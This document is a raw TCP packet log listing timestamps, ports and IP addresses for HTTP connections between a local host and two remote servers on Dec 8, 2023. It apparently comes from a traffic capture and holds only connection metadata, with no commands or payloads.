Dec 8, 2023 14:50:56.530968904 CET	80	49748	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:56.686069965 CET	80	49748	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:56.686326027 CET	80	49748	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:56.686408997 CET	49748	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:56.687506914 CET	80	49748	104.21.18.253	192.168.2.4
Dec 8, 2023 14:50:56.687572956 CET	49748	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:56.693876028 CET	49748	80	192.168.2.4	104.21.18.253
Dec 8, 2023 14:50:56.817867041 CET	80	49748	104.21.18.253	192.168.2.4
Dec 8, 2023 14:51:02.289207935 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:02.564224005 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:02.564373016 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:02.564663887 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:02.840981960 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:02.846950054 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:02.847130060 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:02.847187042 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:02.847446918 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:02.847461939 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:02.847503901 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:02.848145962 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:02.848288059 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:02.848329067 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:02.848998070 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:02.849178076 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:02.849267006 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:02.850562096 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:02.850574970 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:02.850610971 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:03.122236013 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.122299910 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.122450113 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.122493029 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:03.122508049 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.122608900 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:03.122766972 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.122806072 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.122951984 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:03.123063087 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.123101950 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.123219013 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:03.123560905 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.123600006 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.123687983 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:03.123842955 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.123882055 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.124037981 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:03.124422073 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.124460936 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.124569893 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.124607086 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.124653101 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:03.124653101 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:03.125118971 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.125157118 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.125297070 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:03.125324965 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.125364065 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.125435114 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:03.400317907 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.400424957 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.400463104 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.400509119 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.400547028 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.400559902 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:03.400559902 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:03.400584936 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.400624037 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.400664091 CET	80	49749	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:03.400674105 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:03.400674105 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:03.400738955 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:04.349975109 CET	49749	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:05.358691931 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:05.640043974 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:05.640137911 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:05.640383959 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:05.920202971 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:05.924487114 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:05.924539089 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:05.924654007 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:05.924757957 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:05.924849033 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:05.924895048 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:05.924977064 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:05.925085068 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:05.925129890 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:05.925363064 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:05.925404072 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:05.925446033 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:05.925816059 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:05.925882101 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:05.925925016 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:06.204268932 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.204298973 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.204360008 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:06.204545021 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.204641104 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.204687119 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:06.204972029 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.205081940 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.205118895 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:06.205405951 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.205501080 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.205535889 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:06.205966949 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.206082106 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.206116915 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:06.206425905 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.206497908 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.206533909 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:06.206713915 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.206866980 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.206901073 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:06.207339048 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.207442999 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.207494974 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:06.207649946 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.207923889 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.208023071 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:06.208092928 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.208285093 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.208329916 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:06.483465910 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.483524084 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.483717918 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:06.483865023 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.483907938 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.483956099 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:06.484499931 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.484541893 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.484586954 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:06.484966993 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.485025883 CET	80	49750	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:06.485071898 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:07.154539108 CET	49750	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:08.170504093 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:08.450095892 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:08.450373888 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:08.451260090 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:08.732419968 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:08.732762098 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:08.732774019 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:08.737591028 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:08.737643957 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:08.737729073 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:08.737967968 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:08.738065958 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:08.738110065 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:08.738368034 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:08.738459110 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:08.738500118 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:08.739259958 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:08.739377975 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:08.739422083 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:08.739470959 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:08.739547014 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:08.739590883 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:09.017349958 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.017395973 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.017440081 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.017529964 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.017574072 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:09.017669916 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.017709970 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.017714024 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:09.017781019 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:09.017904043 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.017992973 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.018071890 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:09.018335104 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.018377066 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.018455029 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:09.018625021 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.018695116 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.018739939 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:09.018887043 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.018999100 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.019043922 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:09.019287109 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.019346952 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.019399881 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:09.019639969 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.019738913 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.019792080 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:09.019984007 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.020073891 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.020117044 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:09.296937943 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.297003031 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.297122002 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.297163010 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.297238111 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:09.297239065 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:09.297735929 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.297831059 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.297878981 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:09.298161983 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.298206091 CET	80	49751	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:09.298259974 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:09.967370033 CET	49751	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:10.983392954 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.265336990 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.265562057 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.265685081 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.547266006 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.548007011 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.548057079 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.548116922 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.548489094 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.548551083 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.548604012 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.549098015 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.549140930 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.549194098 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.549447060 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.549493074 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.549540043 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.550219059 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.550271034 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.550328016 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.829652071 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.829687119 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.829833984 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.829870939 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.829896927 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.829946041 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.830110073 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.830154896 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.830198050 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.830781937 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.830801964 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.830821991 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.830841064 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.830847025 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.830883980 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.831043959 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.831065893 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.831108093 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.831311941 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.831332922 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.831372976 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.831619978 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.831640959 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.831681013 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.832107067 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.832130909 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.832169056 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:11.832242012 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.832281113 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:11.832319975 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.111099958 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.111129999 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.111196041 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.111231089 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.111246109 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.111303091 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.111593962 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.111686945 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.111732960 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.112113953 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.112205029 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.112251997 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.112649918 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.112732887 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.112776041 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.113289118 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.113365889 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.113409996 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.113565922 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.113683939 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.113739014 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.114414930 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.114542007 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.114597082 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.114608049 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.114682913 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.114738941 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.115689993 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.115767002 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.115804911 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.115822077 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.115855932 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.115907907 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.115928888 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.115968943 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.116007090 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.116023064 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.116080046 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.116152048 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.116158962 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.116221905 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.116271973 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.116453886 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.116537094 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.116588116 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.117196083 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.117269993 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.117319107 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.117778063 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.117835999 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.117886066 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.118340969 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.118475914 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.118526936 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.118859053 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.119015932 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.119067907 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.119327068 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.119447947 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.119498968 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.392776012 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.392806053 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.392893076 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.392987013 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.393029928 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.393069029 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.393497944 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.393598080 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.393637896 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.393683910 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.393758059 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.393791914 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.394294977 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.394347906 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.394387007 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.394408941 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.394455910 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.394489050 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.394644976 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.394766092 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.394802094 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.395117044 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.395266056 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.395312071 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.395385981 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.395463943 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.395500898 CET	49752	80	192.168.2.4	37.140.192.89
Dec 8, 2023 14:51:12.395977020 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.396040916 CET	80	49752	37.140.192.89	192.168.2.4
Dec 8, 2023 14:51:12.396081924 CET	49752	80	192.168.2.4	37.140.192.89
